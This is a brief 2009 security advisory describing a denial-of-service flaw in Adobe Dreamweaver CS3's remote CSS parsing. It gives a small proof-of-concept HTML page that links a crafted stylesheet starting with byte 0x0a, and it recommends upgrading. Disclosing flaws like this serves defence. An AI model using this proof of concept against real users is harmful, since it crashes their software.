| 24-04-2009 |
| Adobe Dreamweaver CS3 Denial of Service |
|
Title : Adobe Dreamweaver CS3 Denial of Service
Impact : DoS Type : From remote Vendor : - Url : http://www.adobe.com/ || Vulnerability Engine for parsing remote CSS files are vulnerable to DoS attacks. Successful exploatation requires from user to include special .css file from remote web site. || POC --- tmpl01.dwbug.php --- <html> <head> <link href="http://security-net.biz/test.css" rel="stylesheet" type="text/css" /> </head> <body> </body> </html> ------------------------------ File test.css must begin with hex value: 0a, for successful exploatation. || Solution: Upgrade to newest version. || Contact Author : Ivan Markovic, Network Security Solutions back |
